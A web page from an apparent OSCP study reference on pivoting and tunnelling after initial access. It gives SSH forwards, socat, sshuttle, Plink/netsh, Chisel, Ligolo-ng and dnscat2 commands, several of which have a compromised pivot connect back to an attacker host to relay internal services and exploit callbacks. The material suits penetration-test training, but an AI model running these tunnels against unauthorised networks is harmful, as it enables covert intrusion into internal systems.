Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Internal access/Pivoting & tunnels

REFERENCE / 16 TASKS

Pivoting & tunnels

Check both network legs. Choose a fixed forward for one service, SOCKS for TCP clients, or a routed tunnel for an internal subnet; verify the return path.

Contents ↓Tools & scripts ↓Commands ↓First-pass workflow ↓Full procedure index ↗

Contents

Jump to a task. Commands and variants are visible below; full checks and explanations stay on each technique page.

  • Network position and fixed relays
    • Discover pivot interfaces, routes and internal service context
    • Relay a single TCP service through a fixed forward
  • SSH listener direction and proxy access
    • Forward a selected service through an SSH client-side listener
    • Provide SOCKS access through SSH dynamic forwarding
    • Expose an SSH-client-side destination through a server-side remote listener
    • Expose a server-side SOCKS proxy through remote dynamic SSH forwarding
    • Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
  • Transparent and Windows forwarding
    • Route a selected subnet through sshuttle
    • Forward from Windows with OpenSSH, Plink or Netsh
  • Alternative carriers and routed agents
    • Use a reverse Chisel SOCKS or fixed TCP tunnel
    • Use forward Chisel SOCKS and version-supported UDP routing
    • Route a selected internal subnet through Ligolo-ng
    • Conditional: tunnel through controlled DNS infrastructure
  • Names, return paths and multiple hops
    • Preserve DNS, Kerberos names and time across a pivot
    • Build the callback and delivery routes separately from the attack route
    • Compose multiple pivots and validate every connection leg

Tools & scripts

SSH forwards upstream ↗
Choose the listening side and destination leg explicitly.
Chisel upstream ↗
Use a reverse transport when the pivot can reach your listener.
Ligolo-ng upstream ↗
Route only the intended internal prefixes through the working agent.
ProxyChains-NG upstream ↗
Use compatible TCP clients through a verified SOCKS listener.

Network position and fixed relays

Discover pivot interfaces, routes and internal service context

Contents ↑

Use when: A foothold exposes an interface/subnet or a loopback-only service

Needs: A usable pivot process/identity and explicit scope; both forward and return directions must be understood

Client commands / example output

# Baseline
APPLICATION TOOL
  -> local listener / SOCKS endpoint / TUN route
  -> tunnel transport endpoint
  -> pivot exit
  -> internal destination service

CALLBACK TARGET
  -> pivot listener or routable address
  -> relay/tunnel
  -> final listener

# Record
TOOL_HOST -> ENTRY_SOCKET/ROUTE -> TRANSPORT -> PIVOT -> DESTINATION
application protocol | TCP/UDP | initiator | bind address | DNS point
credential/SPN name | callback route | privilege | cleanup objects

Linux

# Linux
id
ip -brief address
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf

Windows

REM Windows
whoami /all
ipconfig /all
route print
arp -a
netstat -ano

PowerShell selected endpoints

# PowerShell selected endpoints
Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4 | Sort-Object DestinationPrefix,RouteMetric
Get-NetTCPConnection -State Listen
Get-DnsClientServerAddress -AddressFamily IPv4

Shell commands

An interface or route proves a possible network position, not destination reachability. Validate one justified socket from the pivot before building a tunnel.

# Baseline
nc -nvz -w 3 INTERNAL_HOST INTERNAL_PORT
curl -v --connect-timeout 5 http://INTERNAL_HOST:INTERNAL_PORT/

PowerShell commands

# Baseline
Test-NetConnection INTERNAL_HOST -Port INTERNAL_PORT

Kali/Linux

NeedBaselineChoose whenMain limitation
One TCP service through an SSH pivotSSH local forwardKali can initiate SSH to pivotOne destination socket per forward
Many TCP destinations through SSH pivotSSH dynamic forwardKali can initiate SSH to pivotSOCKS/client compatibility
Pivot can connect outward but inbound access is blockedSSH remote or remote-dynamic forwardPivot has OpenSSH client and can reach Kali SSHKali SSH policy; OpenSSH version for remote dynamic
SSH hop directly to internal SSHProxyJumpBoth pivot and destination provide SSHSSH-only path
Simple Linux TCP relaySocatBinary already exists and listener can be exposedClear TCP relay; no authentication/encryption
Transparent selected subnets through SSHsshuttleSuitable SSH server with Python; local privilegesTCP/DNS-oriented, local firewall changes
Windows SSH-based forwardBuilt-in ssh.exe or PlinkCompatible client exists and outbound SSH worksServer policy and credential/host-key handling
Windows native fixed TCP relaynetsh interface portproxyElevated token; target modification acceptableTCP only; firewall/IP Helper/stateful cleanup
Outbound HTTP/WebSocket-shaped tunnelChiselPivot can run matching binary and reach serverClient/server compatibility and proxy/client transport limits
Routed access for ordinary clientsLigolo-ngAgent can reach proxy and TUN/route setup is possibleUserland stack is not identical to direct raw networking
DNS is the only viable egressdnscat2DNS path plus authoritative/direct server controlSlow/noisy, infrastructure and client required

Prefer one explicit forward for one known service. Use SOCKS when several TCP endpoints must be explored. Use a routed pivot when many ordinary tools must operate without proxy wrappers. Do not add a multi-host route when command execution directly on the pivot is sufficient.

# Kali/Linux
ss -lntup
ip -brief address
ip route
ps -ef | grep -E '[s]sh .*-[LDR]|[c]hisel|[l]igolo|[s]ocat|[s]shuttle'

Windows

REM Windows
netstat -ano
tasklist
netsh interface portproxy show all
netsh advfirewall firewall show rule name="OSCP Pivot LOCAL_PORT"

Read / verify → Record source, pivot, destination, protocol, listener placement and required return path.

If it fails → Interface presence is not proof of destination reachability. Routing/firewall and application permission are independent.

  • One reachable pivot can connect to one internal TCP destination → Relay a single TCP service through a fixed forward
  • SSH reaches a server that can access the needed internal service → Forward a selected service through an SSH client-side listener
  • A pivot can make outbound HTTP/WebSocket connections to the tunnel server → Use a reverse Chisel SOCKS or fixed TCP tunnel
  • Several protocols/subnets require a route-style interface through an agent → Route a selected internal subnet through Ligolo-ng
  • Only the pivot can initiate SSH, but several client-selected internal destinations are needed → Expose a server-side SOCKS proxy through remote dynamic SSH forwarding
  • Multiple internal TCP destinations need transparent application access over SSH → Route a selected subnet through sshuttle
  • The pivot is Windows and available networking utilities constrain the route → Forward from Windows with OpenSSH, Plink or Netsh
  • The assessment-side client can reach a pivot-side tunnel server → Use forward Chisel SOCKS and version-supported UDP routing
  • A second internal network is reachable only from a later foothold → Compose multiple pivots and validate every connection leg

Prerequisite checks & examples →Full technique →

Relay a single TCP service through a fixed forward

Contents ↑

Use when: One reachable pivot can connect to one internal TCP destination

Needs: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

On a Linux pivot, expose one internal TCP service

# On a Linux pivot, expose one internal TCP service
socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Loopback-only relay for another local tunnel stage

# Loopback-only relay for another local tunnel stage
socat -ddd TCP-LISTEN:LOCAL_PORT,bind=127.0.0.1,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

These checks run on different machines

Verify the listener on the pivot with ss -lntp | grep LOCAL_PORT. Run nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT from the intended client to test client-to-pivot reachability. These checks run on different machines:

# These checks run on different machines
ss -lntp | grep LOCAL_PORT
nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT

Read / verify → Verify application behavior through the listener and keep the transport's destination explicit.

If it fails → A working listener with no application response can be a pivot-to-destination failure. Dynamic RPC may need a different route.

  • SQL Server credentials or a Windows identity accepted by the database → Use SQL Server rights, impersonation and command facilities
  • A MySQL-compatible service and valid application/database credentials → Use MySQL/MariaDB data and file primitives
  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization

Prerequisite checks & examples →Full technique →

SSH listener direction and proxy access

Forward a selected service through an SSH client-side listener

Contents ↑

Use when: SSH reaches a server that can access the needed internal service

Needs: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route

Run on Kali when Kali can SSH to the pivot

# Run on Kali when Kali can SSH to the pivot
ssh -N \
  -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

# Use the listener as though it were the internal service
nc -nvz 127.0.0.1 LOCAL_PORT
curl -v http://127.0.0.1:LOCAL_PORT/

Add reliability and attributable failure to transport-only sessions

The SSH server/pivot resolves and connects to INTERNAL_HOST. Bind to 127.0.0.1 unless another authorized local host must use the forward; -g or a non-loopback bind expands exposure.

Add reliability and attributable failure to transport-only sessions:

# Add reliability and attributable failure to transport-only sessions
-N
-o ExitOnForwardFailure=yes
-o ServerAliveInterval=30
-o ServerAliveCountMax=3

Read / verify → Verify listening address plus the destination application's handshake and preserve correct hostname/SPN semantics when needed.

If it fails → Administrative-prohibited indicates SSH forwarding policy; address-in-use is a local bind problem; timeout can be the remote leg.

  • A MySQL-compatible service and valid application/database credentials → Use MySQL/MariaDB data and file primitives
  • SQL Server credentials or a Windows identity accepted by the database → Use SQL Server rights, impersonation and command facilities
  • An IP connection works while hostname/Kerberos access fails → Preserve DNS, Kerberos names and time across a pivot

Prerequisite checks & examples →Full technique →

Provide SOCKS access through SSH dynamic forwarding

Contents ↑

Use when: Several internal TCP services need access through one SSH server

Needs: SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly

Shell commands

# Baseline
ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Read / verify → Verify one application through the proxy, then check each client's actual proxy and DNS behavior.

If it fails → A working proxy does not make raw SYN/UDP scans viable. Use connect-based clients or a suitable routed tunnel.

  • A SOCKS listener or an SSH jump host is already available → Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
  • An assigned host needs an initial service queue or full TCP coverage → Discover TCP ports with SYN or connect scans
  • An IP connection works while hostname/Kerberos access fails → Preserve DNS, Kerberos names and time across a pivot

Prerequisite checks & examples →Full technique →

Expose an SSH-client-side destination through a server-side remote listener

Contents ↑

Use when: The useful side can initiate SSH outward but cannot accept an inbound management connection

Needs: Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination

Run on a pivot that can initiate an SSH connection back to Kali

# Run on a pivot that can initiate an SSH connection back to Kali
ssh -N \
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Kali then uses

# Kali then uses
nc -nvz 127.0.0.1 KALI_PORT

The SSH client/pivot connects to INTERNAL_HOST. AllowTcpForwarding and server policy must permit the forward. A non-loopback remote bind additionally depends on GatewayPorts; do not assume 0.0.0.0 was honored.

Read / verify → Verify listener placement/bind and actual destination application response.

If it fails → A loopback-only server listener is not reachable by another host. Check remote-forward permission and binding before changing service credentials.

  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization
  • SMB/RPC endpoints, domain clues or new credentials → Enumerate SMB/RPC shares, files and identities
  • A pivoted exploit reaches its target but its shell/download cannot return → Build the callback and delivery routes separately from the attack route

Prerequisite checks & examples →Full technique →

Expose a server-side SOCKS proxy through remote dynamic SSH forwarding

Contents ↑

Use when: Only the pivot can initiate SSH, but several client-selected internal destinations are needed

Needs: A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients

Run on the pivot

# Run on the pivot
ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

These checks run on different machines; do not paste both into one terminal

The SOCKS listener appears on Kali and destination connections exit through the pivot. Remote dynamic forwarding requires OpenSSH 7.6 or later on the client that issues -R. Run ssh -V on the pivot (the SSH client). Run ss -lntp | grep 1080 on Kali (the SSH server hosting the SOCKS listener). These checks run on different machines; do not paste both into one terminal:

# These checks run on different machines; do not paste both into one terminal
ssh -V
ss -lntp | grep 1080

Read / verify → Verify the listener's actual location and source-side exit by application evidence.

If it fails → Unsupported client syntax or forwarding policy is different from destination filtering. Use a fixed remote forward if it satisfies the task.

  • A SOCKS listener or an SSH jump host is already available → Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
  • The useful side can initiate SSH outward but cannot accept an inbound management connection → Expose an SSH-client-side destination through a server-side remote listener
  • An IP connection works while hostname/Kerberos access fails → Preserve DNS, Kerberos names and time across a pivot

Prerequisite checks & examples →Full technique →

Use ProxyChains, native SOCKS clients and SSH jump paths appropriately

Contents ↑

Use when: A SOCKS listener or an SSH jump host is already available

Needs: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution

Direct SSH through an SSH pivot

# Direct SSH through an SSH pivot
ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST

# SSH through an existing SOCKS5 endpoint with Ncat
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
  TARGET_USER@INTERNAL_HOST

Use an SSH configuration for repeated access

# Use an SSH configuration for repeated access
Host pivot
  HostName PIVOT
  User PIVOT_USER

Host internal
  HostName INTERNAL_HOST
  User TARGET_USER
  ProxyJump pivot

Use an SSH configuration for repeated access

# Use an SSH configuration for repeated access
ssh internal
scp FILE internal:DESTINATION_PATH

Use a task-specific configuration rather than repeatedly editing a shared global file

# Use a task-specific configuration rather than repeatedly editing a shared global file
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5 127.0.0.1 1080

Use an SSH configuration for repeated access

# Use an SSH configuration for repeated access
proxychains4 -q -f ./proxychains-pivot.conf curl http://INTERNAL_HOST:PORT/
proxychains4 -q -f ./proxychains-pivot.conf nmap -sT -Pn -n -p PORTS INTERNAL_HOST
proxychains4 -q -f ./proxychains-pivot.conf impacket-smbclient \
  'DOMAIN/USER:PASSWORD@INTERNAL_HOST'

Native examples

  • ProxyChains hooks socket calls in dynamically linked programs; some static binaries, scripts, child processes or dynamically loaded modules bypass or break the hook.
  • ProxyChains supports TCP only. It does not proxy UDP, ICMP, SYN scans or pcap-based discovery.
  • For Nmap use -sT -Pn -n with a focused port list. Proxy scanning is slow and is not a replacement for discovery from the pivot.
  • proxy_dns moves supported hostname resolution through the proxy, but application behavior varies. -n prevents Nmap's local reverse lookups.
  • Prefer an application's native proxy option when available.
# Native examples
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_HOST:PORT/
ncat --proxy-type socks5 --proxy 127.0.0.1:1080 INTERNAL_HOST INTERNAL_PORT

Read / verify → Verify destination application and resolver behavior through the intended path.

If it fails → Proxy interception is not universal. Use native proxy support, an SSH jump for SSH, or routed tunneling when the protocol requires it.

  • An assigned host needs an initial service queue or full TCP coverage → Discover TCP ports with SYN or connect scans
  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization
  • Several protocols/subnets require a route-style interface through an agent → Route a selected internal subnet through Ligolo-ng

Prerequisite checks & examples →Full technique →

Transparent and Windows forwarding

Route a selected subnet through sshuttle

Contents ↑

Use when: Multiple internal TCP destinations need transparent application access over SSH

Needs: Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets

Shell commands

# Baseline
sudo sshuttle --dns \
  -r SSH_USER@PIVOT:SSH_PORT \
  INTERNAL_SUBNET ANOTHER_SUBNET

# Through a previously established local forward to the SSH pivot
sudo sshuttle --dns \
  -r SSH_USER@127.0.0.1:LOCAL_SSH_PORT \
  INTERNAL_SUBNET

sshuttle is useful when many TCP clients need transparent access. It requires privileges and firewall/redirection support on the client; the remote side needs a compatible Python execution path. It is not a general layer-2 VPN and does not make arbitrary raw-packet or UDP behavior equivalent to direct routing. Record the selected subnets so existing VPN routes are not accidentally captured.

Read / verify → Verify the actual application path and ensure only assigned subnets are selected.

If it fails → Missing local privilege, remote runtime or unsupported traffic can break this option. Use fixed forwards/SOCKS or a compatible routed tunnel.

  • An IP connection works while hostname/Kerberos access fails → Preserve DNS, Kerberos names and time across a pivot
  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization
  • Several internal TCP services need access through one SSH server → Provide SOCKS access through SSH dynamic forwarding

Prerequisite checks & examples →Full technique →

Forward from Windows with OpenSSH, Plink or Netsh

Contents ↑

Use when: The pivot is Windows and available networking utilities constrain the route

Needs: Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths

8.1 Built-in OpenSSH client

REM 8.1 Built-in OpenSSH client
where ssh.exe
ssh.exe -V
ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes -o ServerAliveInterval=30

REM Remote fixed forward from Windows to Kali
plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l KALI_USER -pwfile C:\PATH\kali-password.txt ^
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
  -P KALI_SSH_PORT LHOST

REM Local dynamic SOCKS on Windows
plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l SSH_USER -pwfile C:\PATH\ssh-password.txt ^
  -D 127.0.0.1:1080 -P SSH_PORT PIVOT

REM Elevated Windows shell
netsh interface portproxy add v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT ^
  connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT

netsh interface portproxy show all
netstat -ano -p tcp | findstr ":LOCAL_PORT"

REM 8.3 Netsh portproxy
netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" ^
  dir=in action=allow protocol=TCP localport=LOCAL_PORT

REM Cleanup
netsh interface portproxy delete v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT

netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"

Current Plink supports -L, -R and -D, but not OpenSSH's remote-dynamic shorthand. -batch prevents an unseen prompt from hanging; pair it with a verified -hostkey. -pwfile avoids a literal password in the command line but creates a sensitive file that must be protected and removed. Prefer a key or existing authenticated context where feasible.

portproxy requires an elevated token, forwards TCP rather than UDP, modifies persistent host configuration and may depend on the IP Helper service. A stored rule or listening socket still does not prove the destination is reachable. Record and remove both the proxy and any firewall rule.

Read / verify → Verify actual listener, route and application, then remove created portproxy/firewall state as appropriate.

If it fails → Missing admin rights blocks Netsh changes without disproving a user-space SSH route; firewall/bind failures are independent.

  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization
  • SSH reaches a server that can access the needed internal service → Forward a selected service through an SSH client-side listener
  • A pivoted exploit reaches its target but its shell/download cannot return → Build the callback and delivery routes separately from the attack route

Prerequisite checks & examples →Full technique →

Alternative carriers and routed agents

Use a reverse Chisel SOCKS or fixed TCP tunnel

Contents ↑

Use when: A pivot can make outbound HTTP/WebSocket connections to the tunnel server

Needs: Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access

On Kali

# On Kali
chisel server --reverse --port CHISEL_PORT

On the pivot

Record the server fingerprint. On the pivot:

# On the pivot
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:socks

# Baseline
# Kali
chisel server --reverse --port CHISEL_PORT

# Pivot: expose an internal service on Kali loopback
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
  R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT

# Baseline
chisel --version
chisel server --help
chisel client --help
ss -lntp

Read / verify → Verify tunnel establishment and end-to-end application behavior; a connected carrier alone is insufficient.

If it fails → WebSocket/proxy filtering, reverse mode, listener collision and destination denial are different failures.

  • A SOCKS listener or an SSH jump host is already available → Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization
  • An IP connection works while hostname/Kerberos access fails → Preserve DNS, Kerberos names and time across a pivot

Prerequisite checks & examples →Full technique →

Use forward Chisel SOCKS and version-supported UDP routing

Contents ↑

Use when: The assessment-side client can reach a pivot-side tunnel server

Needs: Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required

Shell commands

# Baseline
# Pivot/server side
chisel server --socks5 --port CHISEL_PORT

# Kali/client side
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
  127.0.0.1:1080:socks

Current upstream Chisel distinguishes

# Current upstream Chisel distinguishes
socks / R:socks       -> SOCKS5 TCP CONNECT only
udpsocks / R:udpsocks -> TCP CONNECT plus SOCKS5 UDP ASSOCIATE

Shell commands

# Baseline
# Requires compatible current peers
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks

This does not make ProxyChains UDP-capable—ProxyChains remains TCP-only. The UDP application must support SOCKS5 UDP ASSOCIATE, or another compatible adapter must be used. Current Chisel peers, TCP and UDP firewall access to the SOCKS listener, and its documented association/fragmentation limits all matter.

Read / verify → Verify the actual required transport end to end, with correct listener/exit placement.

If it fails → Version syntax, client compatibility and UDP destination reachability must all hold. Retain the known-working TCP path.

  • Several protocols/subnets require a route-style interface through an agent → Route a selected internal subnet through Ligolo-ng
  • A SOCKS listener or an SSH jump host is already available → Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
  • An IP connection works while hostname/Kerberos access fails → Preserve DNS, Kerberos names and time across a pivot

Prerequisite checks & examples →Full technique →

Route a selected internal subnet through Ligolo-ng

Contents ↑

Use when: Several protocols/subnets require a route-style interface through an agent

Needs: Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet

On Kali

# On Kali
./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT

In the proxy console, obtain the fingerprint

# In the proxy console, obtain the fingerprint
certificate_fingerprint

On the pivot

# On the pivot
./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT

In the Ligolo console

# In the Ligolo console
interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo

Manual Linux alternative

# Manual Linux alternative
sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo

# Then use normal clients
ip route get INTERNAL_HOST
nmap -sT -Pn -n -p PORTS INTERNAL_HOST
curl -v http://INTERNAL_HOST:PORT/

# Add one narrow route
sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1

Use this only when the desired service is bound to 127.0.0.1 on the agent.

In the selected Ligolo session

# In the selected Ligolo session
listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list

Kali listener

# Kali listener
ncat -lvn 127.0.0.1 KALI_PORT

Cleanup

# Cleanup
listener_stop LISTENER_ID

Read / verify → Verify route/interface ownership, destination application and each necessary reverse listener.

If it fails → Overlapping routes, wrong session/interface or absent privilege can create a misleading connected agent without a working path.

  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization
  • An IP connection works while hostname/Kerberos access fails → Preserve DNS, Kerberos names and time across a pivot
  • A pivoted exploit reaches its target but its shell/download cannot return → Build the callback and delivery routes separately from the attack route

Prerequisite checks & examples →Full technique →

Conditional: tunnel through controlled DNS infrastructure

Contents ↑

Use when: DNS is an available carrier while simpler permitted routes are unavailable

Needs: Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution

Authoritative-domain mode

Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.

Prerequisites:

# Authoritative-domain mode
dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN

# Client
./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN

# Direct DNS-server mode shown by the server's own usage output
./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET

Server console

# Server console
windows
window -i SESSION_ID
help

A DNS query reaching the server proves only the resolver path. Match the pre-shared secret or independently verify the negotiated authentication string. Cache, recursion, EDNS, TCP fallback, DNS security controls and response-size limits can affect the channel. DNS tunneling is not DNS spoofing; spoofing remains prohibited by the current exam guide.

Read / verify → Verify the actual carrier and intended forwarded action; retain delegation and connectivity prerequisites.

If it fails → No delegation, resolver interference, egress policy or missing runtime can block the route. Keep this a conditional fallback.

  • One reachable pivot can connect to one internal TCP destination → Relay a single TCP service through a fixed forward
  • A foothold exposes an interface/subnet or a loopback-only service → Discover pivot interfaces, routes and internal service context
  • Several hosts, identities, routes or competing hypotheses need coordination → Maintain state and select the next evidence-producing test

Prerequisite checks & examples →Full technique →

Names, return paths and multiple hops

Preserve DNS, Kerberos names and time across a pivot

Contents ↑

Use when: An IP connection works while hostname/Kerberos access fails

Needs: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Shell commands

  • Decide whether the application resolves the name locally, ProxyChains intercepts it, the SOCKS exit resolves it, or the pivot's configured resolver handles it.
  • Use numeric addresses for route validation; then restore the confirmed hostname when the application protocol requires it.
  • Kerberos needs an SPN-compatible hostname, realm/KDC route and correct time. A working IP connection does not prove Kerberos naming works.
  • A temporary host mapping is acceptable only for a confirmed in-scope address/name pair and must be recorded.
# Baseline
getent hosts INTERNAL_FQDN
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_FQDN:PORT/
klist
KRB5_TRACE=/dev/stderr kvno cifs/TARGET_HOST

# Baseline
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP \
  'DOMAIN/USER@TARGET_HOST'

Read / verify → Verify resolved destination, ticket/server principal and actual authenticated application action.

If it fails → Do not downgrade the identity claim because transport works. DNS, time, KDC access and service authorization are independent checks.

  • A valid ticket/cache or a long-term key that can request a TGT → Inventory, convert and import tickets in the correct logon context
  • A password, actual NT hash, AES/NT long-term key or ticket is available → Select password, NT hash, key-to-ticket or ticket authentication
  • Domain credentials or a domain-joined foothold → Establish domain identity, DC, DNS, time and route
  • DNS is an available carrier while simpler permitted routes are unavailable → Conditional: tunnel through controlled DNS infrastructure

Prerequisite checks & examples →Full technique →

Build the callback and delivery routes separately from the attack route

Contents ↑

Use when: A pivoted exploit reaches its target but its shell/download cannot return

Needs: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

A forward path and callback path are different graphs

# A forward path and callback path are different graphs
Kali -> tunnel -> internal service       # access path
internal target -> pivot -> Kali listener # callback path

Fixed SSH callback relay, run from the pivot

  1. make the callback directly to an address the internal host already reaches;
  2. expose a listener on the pivot and relay it to Kali;
  3. use a Ligolo agent listener or SSH/Chisel remote forward;
  4. choose a non-callback technique such as authenticated remote execution.
# Fixed SSH callback relay, run from the pivot
ssh -N -g -L 0.0.0.0:PIVOT_PORT:127.0.0.1:KALI_PORT \
  KALI_USER@LHOST -o ExitOnForwardFailure=yes

Read / verify → Verify the target-initiated connection from its source context and the final session or downloaded bytes.

If it fails → Wrong advertised interface, loopback bind or missing reverse forward breaks the return leg while leaving the initial attack functional.

  • Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order
  • Linux command execution exists but an interactive channel is needed → Connect a Linux reverse shell through an available interpreter
  • A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients

Prerequisite checks & examples →Full technique →

Compose multiple pivots and validate every connection leg

Contents ↑

Use when: A second internal network is reachable only from a later foothold

Needs: A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths

For every additional hop, write another complete segment

# For every additional hop, write another complete segment
Kali -> tunnel A -> PIVOT_A -> tunnel B -> PIVOT_B -> INTERNAL_HOST:PORT
  • validate one hop before adding the next;
  • avoid overlapping local/VPN/internal routes;
  • use unique listener and SOCKS ports;
  • record which session owns each route;
  • ensure the deeper agent/client can reach the upstream listener;
  • re-evaluate DNS and callback direction at every hop;
  • prefer a routed method for several deep services instead of stacking many opaque wrappers.

Read / verify → Validate each hop with an application-aware test before chaining the final client.

If it fails → Avoid rebuilding every tunnel after one failure. Isolate the first broken leg and preserve working state.

  • A foothold exposes an interface/subnet or a loopback-only service → Discover pivot interfaces, routes and internal service context
  • A pivoted exploit reaches its target but its shell/download cannot return → Build the callback and delivery routes separately from the attack route
  • A credential appears valid but the destination's usable access is unknown → Match route, destination service and effective authorization

Prerequisite checks & examples →Full technique →

First pass: tools and findings

Use the steps matching your current access. Follow a concrete finding instead of completing every technique in order.

Enumerate what the pivot can actually reach

Run route/listener checks on the pivot itself; do not infer its access from the attacker machine.

ip addr
ip route
ss -lntup
  • If One internal TCP endpoint is reachable from the pivot → Forward a selected service through an SSH client-side listener

    Draw the local/pivot listener and initiator before choosing a fixed forward.

  • If Several internal services need proxy/routed access → Provide SOCKS access through SSH dynamic forwarding

    Match the client protocol to SOCKS or a TUN route.

Otherwise: The pivot cannot reach the destination: fix that leg before adding a tunnel. Open Discover pivot interfaces, routes and internal service context →

Full commands & alternatives →

Use SSH forwarding for the required direction

Use this when the attacker can SSH to a pivot that can reach the destination; remote forwarding reverses the listener placement.

ssh -N \
  -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3
  • If The forwarded service responds through the listener → Identify applications and validate selected NSE checks

    Re-enumerate that destination with the matching service client.

  • If Only the pivot can initiate the tunnel connection → Expose an SSH-client-side destination through a server-side remote listener

    Select the reverse/listener arrangement deliberately.

